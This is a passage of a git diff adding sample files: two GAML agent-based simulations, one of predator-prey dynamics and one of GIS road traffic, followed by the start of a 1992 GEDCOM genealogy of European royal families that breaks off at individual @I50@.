+    int nb_preys_init <- 200;
+    int nb_predators_init <- 20;
+    float prey_max_energy <- 1.0;
+    float prey_max_transfert <- 0.1 ;
+    float prey_energy_consum <- 0.05;
+    float predator_max_energy <- 1.0;
+    float predator_energy_transfert <- 0.5;
+    float predator_energy_consum <- 0.02;
+    float prey_proba_reproduce <- 0.01;
+    int prey_nb_max_offsprings <- 5; 
+    float prey_energy_reproduce <- 0.5; 
+    float predator_proba_reproduce <- 0.01;
+    int predator_nb_max_offsprings <- 3;
+    float predator_energy_reproduce <- 0.5;
+    file map_init <- image_file("../images/predator_prey_raster_map.png");
+    
+    int nb_preys -> {length (prey)};
+    int nb_predators -> {length (predator)};
+    
+    init {
+        create prey number: nb_preys_init ; 
+        create predator number: nb_predators_init ;
+        ask vegetation_cell {
+            color <- rgb (map_init at {grid_x,grid_y}) ;
+            food <- 1 - (((color as list)[0]) / 255) ;
+            foodProd <- food / 100 ; 
+        }
+    }
+    
+    reflex save_result when: (nb_preys > 0) and (nb_predators > 0){
+        save ("cycle: "+ cycle + "; nbPreys: " + nb_preys
+            + "; minEnergyPreys: " + ((prey as list) min_of each.energy)
+            + "; maxSizePreys: " + ((prey as list) max_of each.energy) 
+            + "; nbPredators: " + nb_predators           
+            + "; minEnergyPredators: " + ((predator as list) min_of each.energy)          
+            + "; maxSizePredators: " + ((predator as list) max_of each.energy)) 
+            to: "results.txt" type: "text" ;
+    }
+    
+    reflex stop_simulation when: (nb_preys = 0) or (nb_predators = 0) {
+        do halt ;
+    } 
+}
+
+species generic_species {
+    float size <- 1.0;
+    rgb color  ;
+    float max_energy;
+    float max_transfert;
+    float energy_consum;
+    float proba_reproduce ;
+    float nb_max_offsprings;
+    float energy_reproduce;
+    image_file my_icon;
+    vegetation_cell myCell <- one_of (vegetation_cell) ;
+    float energy <- (rnd(1000) / 1000) * max_energy  update: energy - energy_consum max: max_energy ;
+    
+    init {
+        location <- myCell.location;
+    }
+        
+    reflex basic_move {
+        myCell <- choose_cell();
+        location <- myCell.location; 
+    } 
+    
+    vegetation_cell choose_cell {
+        return nil;
+    }
+        
+    reflex die when: energy <= 0 {
+        do die ;
+    }
+    
+    reflex reproduce when: (energy >= energy_reproduce) and (flip(proba_reproduce)) {
+        int nb_offsprings <- 1 + rnd(nb_max_offsprings -1);
+        create species(self) number: nb_offsprings {
+            myCell <- myself.myCell ;
+            location <- myCell.location ;
+            energy <- myself.energy / nb_offsprings ;
+        }
+        energy <- energy / nb_offsprings ;
+    }
+    
+    aspect base {
+        draw circle(size) color: color ;
+    }
+    aspect icon {
+        draw my_icon size: 2 * size ;
+    }
+    aspect info {
+        draw square(size) color: color ;
+        draw string(energy with_precision 2) size: 3 color: #black ;
+    }
+}
+
+species prey parent: generic_species {
+    rgb color <- #blue;
+    float max_energy <- prey_max_energy ;
+    float max_transfert <- prey_max_transfert ;
+    float energy_consum <- prey_energy_consum ;
+    float proba_reproduce <- prey_proba_reproduce ;
+    int nb_max_offsprings <- prey_nb_max_offsprings ;
+    float energy_reproduce <- prey_energy_reproduce ;
+    file my_icon <- file("../images/predator_prey_sheep.png") ;
+        
+    reflex eat when: myCell.food > 0 {
+        float energy_transfert <- min([max_transfert, myCell.food]) ;
+        myCell.food <- myCell.food - energy_transfert ;
+        energy <- energy + energy_transfert ;
+    }
+    
+    vegetation_cell choose_cell {
+        return (myCell.neighbors) with_max_of (each.food);
+    }
+}
+    
+species predator parent: generic_species {
+    rgb color <- #red ;
+    float max_energy <- predator_max_energy ;
+    float energy_transfert <- predator_energy_transfert ;
+    float energy_consum <- predator_energy_consum ;
+    list<prey> reachable_preys update: prey inside (myCell);
+    float proba_reproduce <- predator_proba_reproduce ;
+    int nb_max_offsprings <- predator_nb_max_offsprings ;
+    float energy_reproduce <- predator_energy_reproduce ;
+    file my_icon <- file("../images/predator_prey_wolf.png") ;
+    
+    reflex eat when: ! empty(reachable_preys) {
+        ask one_of (reachable_preys) {
+            do die ;
+        }
+        energy <- energy + energy_transfert ;
+    }
+    
+    vegetation_cell choose_cell {
+        vegetation_cell myCell_tmp <- shuffle(myCell.neighbors) first_with (!(empty (prey inside (each))));
+        if myCell_tmp != nil {
+            return myCell_tmp;
+        } else {
+            return one_of (myCell.neighbors);
+        } 
+    }
+}
+    
+grid vegetation_cell width: 50 height: 50 neighbors: 4 {
+    float maxFood <- 1.0 ;
+    float foodProd <- (rnd(1000) / 1000) * 0.01 ;
+    float food <- (rnd(1000) / 1000) max: maxFood update: food + foodProd ;
+    rgb color <- rgb(int(255 * (1 - food)), 255, int(255 * (1 - food))) update: rgb(int(255 * (1 - food)), 255, int(255 *(1 - food))) ;
+    list<vegetation_cell> neighbors  <- (self neighbors_at 2); 
+}
+
+experiment prey_predator type: gui {
+    parameter "Initial number of preys: " var: nb_preys_init  min: 0 max: 1000 category: "Prey" ;
+    parameter "Prey max energy: " var: prey_max_energy category: "Prey" ;
+    parameter "Prey max transfert: " var: prey_max_transfert  category: "Prey" ;
+    parameter "Prey energy consumption: " var: prey_energy_consum  category: "Prey" ;
+    parameter "Initial number of predators: " var: nb_predators_init  min: 0 max: 200 category: "Predator" ;
+    parameter "Predator max energy: " var: predator_max_energy category: "Predator" ;
+    parameter "Predator energy transfert: " var: predator_energy_transfert  category: "Predator" ;
+    parameter "Predator energy consumption: " var: predator_energy_consum  category: "Predator" ;
+    parameter 'Prey probability reproduce: ' var: prey_proba_reproduce category: 'Prey' ;
+    parameter 'Prey nb max offsprings: ' var: prey_nb_max_offsprings category: 'Prey' ;
+    parameter 'Prey energy reproduce: ' var: prey_energy_reproduce category: 'Prey' ;
+    parameter 'Predator probability reproduce: ' var: predator_proba_reproduce category: 'Predator' ;
+    parameter 'Predator nb max offsprings: ' var: predator_nb_max_offsprings category: 'Predator' ;
+    parameter 'Predator energy reproduce: ' var: predator_energy_reproduce category: 'Predator' ;
+    
+    output {
+        display main_display {
+            grid vegetation_cell lines: #black ;
+            species prey aspect: icon ;
+            species predator aspect: icon ;
+        }
+        display info_display {
+            grid vegetation_cell lines: #black ;
+            species prey aspect: info ;
+            species predator aspect: info ;
+        }
+        display Population_information refresh:every(5#cycles) {
+            chart "Species evolution" type: series size: {1,0.5} position: {0, 0} {
+                data "number_of_preys" value: nb_preys color: #blue ;
+                data "number_of_predator" value: nb_predators color: #red ;
+            }
+            chart "Prey Energy Distribution" type: histogram background: rgb("lightGray") size: {0.5,0.5} position: {0, 0.5} {
+                data "]0;0.25]" value: prey count (each.energy <= 0.25) color:#blue;
+                data "]0.25;0.5]" value: prey count ((each.energy > 0.25) and (each.energy <= 0.5)) color:#blue;
+                data "]0.5;0.75]" value: prey count ((each.energy > 0.5) and (each.energy <= 0.75)) color:#blue;
+                data "]0.75;1]" value: prey count (each.energy > 0.75) color:#blue;
+            }
+            chart "Predator Energy Distribution" type: histogram background: rgb("lightGray") size: {0.5,0.5} position: {0.5, 0.5} {
+                data "]0;0.25]" value: predator count (each.energy <= 0.25) color: #red ;
+                data "]0.25;0.5]" value: predator count ((each.energy > 0.25) and (each.energy <= 0.5)) color: #red ;
+                data "]0.5;0.75]" value: predator count ((each.energy > 0.5) and (each.energy <= 0.75)) color: #red ;
+                data "]0.75;1]" value: predator count (each.energy > 0.75) color: #red;
+            }
+        }
+        monitor "Number of preys" value: nb_preys;
+        monitor "Number of predators" value: nb_predators;
+    }
+}
diff --git a/samples/GAML/roadTraffic.gaml b/samples/GAML/roadTraffic.gaml
new file mode 100644
index 0000000000..5a1585e0ff
--- /dev/null
+++ b/samples/GAML/roadTraffic.gaml
@@ -0,0 +1,146 @@
+model tutorial_gis_city_traffic
+
+global {
+    file shape_file_buildings <- file("../includes/building.shp");
+    file shape_file_roads <- file("../includes/road.shp");
+    file shape_file_bounds <- file("../includes/bounds.shp");
+    geometry shape <- envelope(shape_file_bounds);
+    float step <- 10 #mn;
+    int nb_people <- 100;
+    int current_hour update: (time / #hour) mod 24;
+    int min_work_start <- 6;
+    int max_work_start <- 8;
+    int min_work_end <- 16; 
+    int max_work_end <- 20; 
+    float min_speed <- 1.0 #km / #h;
+    float max_speed <- 5.0 #km / #h; 
+    float destroy <- 0.02;
+    int repair_time <- 2 ;
+    graph the_graph;
+    
+    init {
+        create building from: shape_file_buildings with: [type::string(read ("NATURE"))] {
+            if type="Industrial" {
+                color <- #blue ;
+            }
+        }
+        create road from: shape_file_roads ;
+        map<road,float> weights_map <- road as_map (each:: (each.destruction_coeff * each.shape.perimeter));
+        the_graph <- as_edge_graph(road) with_weights weights_map;
+        
+        
+        list<building> residential_buildings <- building where (each.type="Residential");
+        list<building>  industrial_buildings <- building  where (each.type="Industrial") ;
+        create people number: nb_people {
+            speed <- min_speed + rnd (max_speed - min_speed) ;
+            start_work <- min_work_start + rnd (max_work_start - min_work_start) ;
+            end_work <- min_work_end + rnd (max_work_end - min_work_end) ;
+            living_place <- one_of(residential_buildings) ;
+            working_place <- one_of(industrial_buildings) ;
+            objective <- "resting";
+            location <- any_location_in (living_place); 
+        }
+    }
+    
+    reflex update_graph{
+        map<road,float> weights_map <- road as_map (each:: (each.destruction_coeff * each.shape.perimeter));
+        the_graph <- the_graph with_weights weights_map;
+    }
+    reflex repair_road when: every(repair_time #hour / step) {
+        road the_road_to_repair <- road with_max_of (each.destruction_coeff) ;
+        ask the_road_to_repair {
+            destruction_coeff <- 1.0 ;
+        }
+    }
+}
+
+species building {
+    string type; 
+    rgb color <- #gray  ;
+    
+    aspect base {
+        draw shape color: color ;
+    }
+}
+
+species road  {
+    float destruction_coeff <- 1 + ((rnd(100))/ 100.0) max: 2.0;
+    int colorValue <- int(255*(destruction_coeff - 1)) update: int(255*(destruction_coeff - 1));
+    rgb color <- rgb(min([255, colorValue]),max ([0, 255 - colorValue]),0)  update: rgb(min([255, colorValue]),max ([0, 255 - colorValue]),0) ;
+    
+    aspect base {
+        draw shape color: color ;
+    }
+}
+
+species people skills:[moving] {
+    rgb color <- #yellow ;
+    building living_place <- nil ;
+    building working_place <- nil ;
+    int start_work ;
+    int end_work  ;
+    string objective ; 
+    point the_target <- nil ;
+        
+    reflex time_to_work when: current_hour = start_work and objective = "resting"{
+        objective <- "working" ;
+        the_target <- any_location_in (working_place);
+    }
+        
+    reflex time_to_go_home when: current_hour = end_work and objective = "working"{
+        objective <- "resting" ;
+        the_target <- any_location_in (living_place); 
+    } 
+     
+    reflex move when: the_target != nil {
+        path path_followed <- self goto [target::the_target, on::the_graph, return_path:: true];
+        list<geometry> segments <- path_followed.segments;
+        loop line over: segments {
+            float dist <- line.perimeter;
+            ask road(path_followed agent_from_geometry line) { 
+                destruction_coeff <- destruction_coeff + (destroy * dist / shape.perimeter);
+            }
+        }
+        if the_target = location {
+            the_target <- nil ;
+        }
+    }
+    
+    aspect base {
+        draw circle(10) color: color;
+    }
+}
+
+experiment road_traffic type: gui {
+    parameter "Shapefile for the buildings:" var: shape_file_buildings category: "GIS" ;
+    parameter "Shapefile for the roads:" var: shape_file_roads category: "GIS" ;
+    parameter "Shapefile for the bounds:" var: shape_file_bounds category: "GIS" ;
+    parameter "Number of people agents" var: nb_people category: "People" ;
+    parameter "Earliest hour to start work" var: min_work_start category: "People" min: 2 max: 8;
+    parameter "Latest hour to start work" var: max_work_start category: "People" min: 8 max: 12;
+    parameter "Earliest hour to end work" var: min_work_end category: "People" min: 12 max: 16;
+    parameter "Latest hour to end work" var: max_work_end category: "People" min: 16 max: 23;
+    parameter "minimal speed" var: min_speed category: "People" min: 0.1 #km/#h ;
+    parameter "maximal speed" var: max_speed category: "People" max: 10 #km/#h;
+    parameter "Value of destruction when a people agent takes a road" var: destroy category: "Road" ;
+    parameter "Number of hours between two road repairs" var: repair_time category: "Road" ;
+    
+    output {
+        display city_display type:opengl {
+            species building aspect: base ;
+            species road aspect: base ;
+            species people aspect: base ;
+        }
+        display chart_display refresh:every(10#cycles) { 
+            chart "Road Status" type: series size: {1, 0.5} position: {0, 0} {
+                data "Mean road destruction" value: mean (road collect each.destruction_coeff) style: line color: #green ;
+                data "Max road destruction" value: road max_of each.destruction_coeff style: line color: #red ;
+            }
+            chart "People Objectif" type: pie style: exploded size: {1, 0.5} position: {0, 0.5}{
+                data "Working" value: people count (each.objective="working") color: #magenta ;
+                data "Resting" value: people count (each.objective="resting") color: #blue ;
+            }
+        }
+    }
+}
+
diff --git a/samples/GEDCOM/Royal92.ged b/samples/GEDCOM/Royal92.ged
new file mode 100644
index 0000000000..a783f95399
--- /dev/null
+++ b/samples/GEDCOM/Royal92.ged
@@ -0,0 +1,30682 @@
+0 HEAD
+1 SOUR PAF 2.2
+1 DEST PAF
+1 DATE 20 NOV 1992
+1 FILE ROYALS.GED
+1 CHAR ANSEL
+0 @S1@ SUBM
+1 NAME Denis R. Reid
+1 ADDR 149 Kimrose Lane
+2 CONT Broadview Heights, Ohio 44147-1258
+2 CONT Internet Email address:  ah189@cleveland.freenet.edu
+1 PHON (216) 237-5364
+1 COMM >> In a message to Cliff Manis (cmanis@csoftec.csf.com)
+2 CONT >> Denis Reid wrote the following:
+2 CONT >> Date: Fri, 25 Dec 92 14:12:32 -0500
+2 CONT >> From: ah189@cleveland.Freenet.Edu (Denis Reid)
+2 CONT >> Subject: THE ROYALS
+2 CONT >> First of all,  MERRY CHRISTMAS!
+2 CONT >>
+2 CONT >> You may make this Royal GEDCOM available available to whomever.
+2 CONT >> As you know this is a work in process and have received suggestions,
+2 CONT >> corrections and additions from all over the planet...
+2 CONT >> some even who claim to be descended from Charlemange, himself!
+2 CONT >>
+2 CONT >> The weakest part of the Royals is in the French and Spanish lines.
+2 CONT >> I found that many of the French Kings had multiple mistresses whose
+2 CONT >> descendants claimed noble titles, and the Throne itself in some
+2 CONT >> cases.  I have had the hardest time finding good published sources
+2 CONT >> for French and Spanish Royalty.
+2 CONT >>
+2 CONT >> If you do post it to a BBS or send it around, I would appreciate
+2 CONT >> it if you'd append a message to the effect that I would welcome
+2 CONT >> comments and suggestions and possible sources to improve
+2 CONT >> the database.
+2 CONT >>
+2 CONT >> Since the Royals had so many names and many titles it was difficult
+2 CONT >> to "fill in the blanks" with their name.  In the previous version,
+2 CONT >> I included all their titles, names, monikers in the notes.
+2 CONT >>
+2 CONT >> Thanks for your interest.   Denis Reid
+0 @I1@ INDI
+1 NAME Victoria  /Hanover/
+1 TITL Queen of England
+1 SEX F
+1 BIRT
+2 DATE 24 MAY 1819
+2 PLAC Kensington,Palace,London,England
+1 DEAT
+2 DATE 22 JAN 1901
+2 PLAC Osborne House,Isle of Wight,England
+1 BURI
+2 PLAC Royal Mausoleum,Frogmore,Berkshire,England
+1 REFN 1
+1 FAMS @F1@
+1 FAMC @F42@
+0 @I2@ INDI
+1 NAME Albert Augustus Charles//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 26 AUG 1819
+2 PLAC Schloss Rosenau,Near Coburg,Germany
+1 DEAT
+2 DATE 14 DEC 1861
+2 PLAC Windsor Castle,Berkshire,England
+1 BURI
+2 PLAC Royal Masoleum,Frogmore,Windsor,England
+1 FAMS @F1@
+1 FAMC @F43@
+0 @I3@ INDI
+1 NAME Victoria Adelaide Mary//
+1 TITL Princess Royal
+1 SEX F
+1 BIRT
+2 DATE 21 NOV 1840
+2 PLAC Buckingham,Palace,London,England
+1 CHR
+2 DATE 10 FEB 1841
+2 PLAC Throne Room,Buckingham Palac,England
+1 DEAT
+2 DATE  5 AUG 1901
+2 PLAC Friedrichshof,Near,Kronberg,Taunus
+1 BURI
+2 PLAC Friedenskirche,Potsdam
+1 FAMS @F3@
+1 FAMC @F1@
+0 @I4@ INDI
+1 NAME Edward_VII  /Wettin/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  9 NOV 1841
+2 PLAC Buckingham,Palace,London,England
+1 DEAT
+2 DATE  6 MAY 1910
+2 PLAC Buckingham,Palace,London,England
+1 BURI
+2 DATE 20 MAY 1910
+2 PLAC Windsor,Berkshire,England
+1 FAMS @F2@
+1 FAMC @F1@
+0 @I5@ INDI
+1 NAME Alice Maud Mary//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 25 APR 1843
+2 PLAC Buckingham,Palace,London,England
+1 DEAT
+2 DATE 14 DEC 1878
+2 PLAC Darmstadt,,,Germany
+1 FAMS @F8@
+1 FAMC @F1@
+0 @I6@ INDI
+1 NAME Alfred Ernest Albert//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE  6 AUG 1844
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE 30 JUL 1900
+2 PLAC Schloss Rosenau,Near Coburg
+1 FAMS @F26@
+1 FAMC @F1@
+0 @I7@ INDI
+1 NAME Helena Augusta Victoria//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 25 MAY 1846
+2 PLAC Buckingham,Palace,London,England
+1 DEAT
+2 DATE  9 JUN 1923
+2 PLAC Schomberg House,Pall Mall,London,England
+1 FAMS @F32@
+1 FAMC @F1@
+0 @I8@ INDI
+1 NAME Louise Caroline Alberta//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 18 MAR 1848
+2 PLAC Buckingham,Palace,London,England
+1 DEAT
+2 DATE  3 DEC 1939
+2 PLAC Kensington,Palace,London,England
+1 BURI
+2 PLAC Frogmore,,,England
+1 FAMS @F69@
+1 FAMC @F1@
+0 @I9@ INDI
+1 NAME Arthur William Patrick//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE  1 MAY 1850
+2 PLAC Buckingham,Palace,London,England
+1 DEAT
+2 DATE 16 JAN 1942
+2 PLAC Bagshot Park,Surrey
+1 FAMS @F34@
+1 FAMC @F1@
+0 @I10@ INDI
+1 NAME Leopold George Duncan//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE  7 APR 1853
+2 PLAC Buckingham,Palace,London,England
+1 DEAT
+2 DATE 28 MAR 1884
+2 PLAC Cannes
+1 FAMS @F5@
+1 FAMC @F1@
+0 @I11@ INDI
+1 NAME Beatrice Mary Victoria//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 14 APR 1857
+2 PLAC Buckingham,Palace,London,England
+1 DEAT
+2 DATE 26 OCT 1944
+2 PLAC Bantridge Park,Balcombe,Sussex,England
+1 FAMS @F6@
+1 FAMC @F1@
+0 @I12@ INDI
+1 NAME Alexandra of_Denmark "Alix"//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  1 DEC 1844
+2 PLAC Yellow Palace,Copenhagen,Denmark
+1 DEAT
+2 DATE 20 NOV 1925
+2 PLAC Sandringham,,Norfolk,England
+1 BURI
+2 PLAC St. George Chap.,Windsor,Berkshire,England
+1 FAMS @F2@
+1 FAMC @F74@
+0 @I13@ INDI
+1 NAME Albert Victor Christian//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE  8 JAN 1864
+2 PLAC Frogmore House,Windsor,Berkshire,England
+1 DEAT
+2 DATE 14 JAN 1892
+2 PLAC Sandringham,,Norfolk,England
+1 BURI
+2 DATE 20 JAN 1892
+2 PLAC Windsor,Berkshire,England
+1 FAMC @F2@
+0 @I14@ INDI
+1 NAME George_V  /Windsor/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  3 JUN 1865
+2 PLAC Marlborough Hse,London,England
+1 CHR
+2 DATE  7 JUL 1865
+1 DEAT
+2 DATE 20 JAN 1936
+2 PLAC Sandringham,Norfolk,England
+1 BURI
+2 DATE 28 JAN 1936
+2 PLAC Windsor Castle,St. George Chap.,Berkshire,England
+1 FAMS @F7@
+1 FAMC @F2@
+0 @I15@ INDI
+1 NAME Louise Victoria Alexandra//
+1 TITL Princess Royal
+1 SEX F
+1 BIRT
+2 DATE 20 FEB 1867
+2 PLAC Marlborough,House,London,England
+1 DEAT
+2 DATE  4 JAN 1931
+2 PLAC Portman Square,London,England
+1 FAMS @F29@
+1 FAMC @F2@
+0 @I16@ INDI
+1 NAME Victoria Alexandra Olga//
+1 SEX F
+1 BIRT
+2 DATE  6 JUL 1868
+2 PLAC Marlborough,House,London,England
+1 DEAT
+2 DATE  3 DEC 1935
+2 PLAC Coppins,Iver,Bucks,England
+1 FAMC @F2@
+0 @I17@ INDI
+1 NAME Maude Charlotte Mary//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 26 NOV 1869
+2 PLAC Marlborough,House,London,England
+1 DEAT
+2 DATE 20 NOV 1938
+2 PLAC London,England
+1 FAMS @F21@
+1 FAMC @F2@
+0 @I18@ INDI
+1 NAME John Alexander //
+1 SEX M
+1 BIRT
+2 DATE  6 APR 1871
+1 DEAT
+2 DATE  7 APR 1871
+1 FAMC @F2@
+0 @I19@ INDI
+1 NAME George Victor of_Waldeck//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1831
+1 DEAT
+2 DATE        1889
+1 FAMS @F67@
+0 @I20@ INDI
+1 NAME Frederick_III  //
+1 TITL German Emperor
+1 SEX M
+1 BIRT
+2 DATE 18 OCT 1831
+2 PLAC Neues Palais,Potsdam,Germany
+1 DEAT
+2 DATE 15 JUN 1888
+2 PLAC Neues Palais,Potsdam,Germany
+1 BURI
+2 PLAC Friedenskirche,Potsdam,Germany
+1 FAMS @F3@
+1 FAMC @F147@
+0 @I21@ INDI
+1 NAME William_II  //
+1 TITL German Emperor
+1 SEX M
+1 BIRT
+2 DATE 27 JAN 1859
+2 PLAC Berlin,Germany
+1 DEAT
+2 DATE  4 JUN 1941
+2 PLAC Haus Doorn,Netherlands
+1 FAMS @F136@
+1 FAMS @F146@
+1 FAMC @F3@
+0 @I22@ INDI
+1 NAME Louis_IV of_Hesse //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1837
+1 DEAT
+2 DATE        1892
+1 FAMS @F8@
+1 FAMC @F114@
+0 @I23@ INDI
+1 NAME Helena Frederica of_Waldeck//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 17 FEB 1861
+2 PLAC Arolsen
+1 DEAT
+2 DATE  1 SEP 1922
+2 PLAC Tyrol
+1 FAMS @F5@
+1 FAMC @F67@
+0 @I24@ INDI
+1 NAME Alice of_Athlone //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1883
+1 DEAT
+2 DATE    JAN 1981
+1 FAMS @F38@
+1 FAMC @F5@
+0 @I25@ INDI
+1 NAME Henry Maurice of_Battenberg//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1858
+1 DEAT
+2 DATE        1896
+1 FAMS @F6@
+1 FAMC @F109@
+0 @I26@ INDI
+1 NAME Alexander of_Carisbrooke //
+1 TITL Marquess
+1 SEX M
+1 BIRT
+2 DATE        1886
+1 DEAT
+2 DATE 23 FEB 1960
+1 BURI
+2 PLAC Whippingham Ch.,Isle of Wight,England
+1 FAMS @F142@
+1 FAMC @F6@
+0 @I27@ INDI
+1 NAME Victoria Eugenie "Ena"//
+1 TITL Queen of Spain
+1 SEX F
+1 BIRT
+2 DATE        1887
+1 DEAT
+2 DATE        1969
+2 PLAC Lausanne
+1 FAMS @F143@
+1 FAMC @F6@
+0 @I28@ INDI
+1 NAME Leopold  //
+1 SEX M
+1 BIRT
+2 DATE        1889
+1 DEAT
+2 DATE        1922
+1 FAMC @F6@
+0 @I29@ INDI
+1 NAME Maurice  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1891
+1 DEAT
+2 DATE        1914
+1 FAMC @F6@
+0 @I30@ INDI
+1 NAME Mary_of_Teck (May) //
+1 TITL Queen
+1 SEX F
+1 BIRT
+2 DATE 26 MAY 1867
+2 PLAC Kensington,Palace,London,England
+1 DEAT
+2 DATE 24 MAR 1953
+2 PLAC Marlborough Hse,London,England
+1 BURI
+2 DATE 31 MAR 1953
+2 PLAC St. George's,Chapel,Windsor Castle,England
+1 FAMS @F7@
+1 FAMC @F41@
+0 @I31@ INDI
+1 NAME Edward_VIII  /Windsor/
+1 TITL Duke of Windsor
+1 SEX M
+1 BIRT
+2 DATE 23 JUN 1894
+2 PLAC White Lodge,Richmond Park,Surrey,England
+1 DEAT
+2 DATE 28 MAY 1972
+2 PLAC Paris,,,France
+1 BURI
+2 PLAC Frogmore,Windsor,Berkshire,England
+1 FAMS @F20@
+1 FAMC @F7@
+0 @I32@ INDI
+1 NAME George_VI  /Windsor/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 14 DEC 1895
+2 PLAC York Cottage,Sandringham,Norfolk,England
+1 DEAT
+2 DATE  6 FEB 1952
+2 PLAC Sandringham,Norfolk,England
+1 BURI
+2 DATE 11 MAR 1952
+2 PLAC St. George Chap.,,Windsor,England
+1 FAMS @F12@
+1 FAMC @F7@
+0 @I33@ INDI
+1 NAME Mary  /Windsor/
+1 TITL Princess Royal
+1 SEX F
+1 BIRT
+2 DATE 25 APR 1897
+2 PLAC York Cottage,Sandringham,Norfolk,England
+1 DEAT
+2 DATE 28 MAR 1965
+2 PLAC Harewood House,Yorkshire,,England
+1 FAMS @F18@
+1 FAMC @F7@
+0 @I34@ INDI
+1 NAME Henry William Frederick/Windsor/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 31 MAR 1900
+2 PLAC York Cottage,Sandringham,Norfolk,England
+1 DEAT
+2 DATE        1974
+1 FAMS @F19@
+1 FAMC @F7@
+0 @I35@ INDI
+1 NAME George Edward Alexander/Windsor/
+1 TITL Duke of Kent
+1 SEX M
+1 BIRT
+2 DATE 20 DEC 1902
+2 PLAC York Cottage,Sandringham,Norfolk,England
+1 DEAT
+2 DATE 25 AUG 1942
+2 PLAC Morven,,,Scotland
+1 FAMS @F17@
+1 FAMC @F7@
+0 @I36@ INDI
+1 NAME John Charles Francis/Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 12 JUL 1905
+2 PLAC York Cottage,Sandringham,Norfolk,England
+1 DEAT
+2 DATE 18 JAN 1919
+2 PLAC Wood Farm,Wolferton,Norfolk,England
+1 BURI
+2 PLAC Sandringham,Norfolk,,England
+1 FAMC @F7@
+0 @I37@ INDI
+1 NAME Nicholas_II Alexandrovich /Romanov/
+1 TITL Tsar of Russia
+1 SEX M
+1 BIRT
+2 DATE 18 MAY 1868
+2 PLAC Tsarskoye Selo,Pushkin,,Russia
+1 DEAT
+2 DATE 16 JUL 1918
+2 PLAC Ekaterinburg,,,Russia
+1 FAMS @F4@
+1 FAMC @F9@
+0 @I38@ INDI
+1 NAME Victoria Alberta of_Hesse//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1863
+1 DEAT
+2 DATE        1950
+1 FAMS @F27@
+1 FAMC @F8@
+0 @I39@ INDI
+1 NAME Alexandra Fedorovna "Alix"//
+1 TITL Tsarina
+1 SEX F
+1 BIRT
+2 DATE  6 JUN 1872
+2 PLAC Darmstadt,,,Germany
+1 DEAT
+2 DATE 16 JUL 1918
+2 PLAC Ekaterinburg,,,Russia
+1 FAMS @F4@
+1 FAMC @F8@
+0 @I40@ INDI
+1 NAME Alexander_III Alexandrovich /Romanov/
+1 TITL Tsar of Russia
+1 SEX M
+1 BIRT
+2 DATE        1845
+1 DEAT
+2 DATE  1 NOV 1894
+2 PLAC Livadia,Crimea,Near Yalta,Russia
+1 BURI
+2 DATE 19 NOV 1894
+2 PLAC Cathedral of the,Fortress of P&P,St. Petersburg,Russia
+1 FAMS @F9@
+1 FAMC @F11@
+0 @I41@ INDI
+1 NAME Dagmar "Marie" of_Denmark//
+1 TITL Tsarina
+1 SEX F
+1 BIRT
+2 DATE        1847
+1 DEAT
+2 DATE    OCT 1928
+2 PLAC Copenhagen,,,Denmark
+1 FAMS @F9@
+1 FAMC @F74@
+0 @I42@ INDI
+1 NAME Nicholas_I  /Romanov/
+1 TITL Tsar of Russia
+1 SEX M
+1 BIRT
+2 DATE        1796
+1 DEAT
+2 DATE        1855
+1 FAMS @F10@
+1 FAMC @F469@
+0 @I43@ INDI
+1 NAME Charlotte of_Prussia //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1798
+1 DEAT
+2 DATE        1860
+1 FAMS @F10@
+1 FAMC @F145@
+0 @I44@ INDI
+1 NAME Alexander_II Nicholoevich /Romanov/
+1 TITL Tsar of Russia
+1 SEX M
+1 BIRT
+2 DATE        1818
+1 DEAT
+2 DATE 13 MAR 1881
+1 FAMS @F11@
+1 FAMS @F593@
+1 FAMC @F10@
+0 @I45@ INDI
+1 NAME Marie of_Hesse- Darmstadt//
+1 SEX F
+1 BIRT
+2 DATE        1824
+1 DEAT
+2 DATE        1880
+1 FAMS @F11@
+1 FAMC @F110@
+0 @I46@ INDI
+1 NAME Olga Nicholovna /Romanov/
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE    NOV 1895
+2 PLAC Alexander Palace,Tsarskoe Selo,,Russia
+1 DEAT
+2 DATE 18 JUL 1918
+2 PLAC Ekaterinburg,,,Russia
+1 FAMC @F4@
+0 @I47@ INDI
+1 NAME Tatiana Nicholovna //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE    JUN 1897
+1 DEAT
+2 DATE 18 JUL 1918
+2 PLAC Ekaterinburg,,,Russia
+1 FAMC @F4@
+0 @I48@ INDI
+1 NAME Maria Nicholovna /Romanov/
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE    MAY 1899
+1 DEAT
+2 DATE 18 JUL 1918
+2 PLAC Ekaterinburg,,,Russia
+1 FAMC @F4@
+0 @I49@ INDI
+1 NAME Anastasia Nicholovna /Romanov/
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE    JUN 1901
+1 DEAT
+2 DATE 18 JUL 1918
+2 PLAC Ekaterinburg,,,Russia
+1 FAMC @F4@
+0 @I50@ INDI
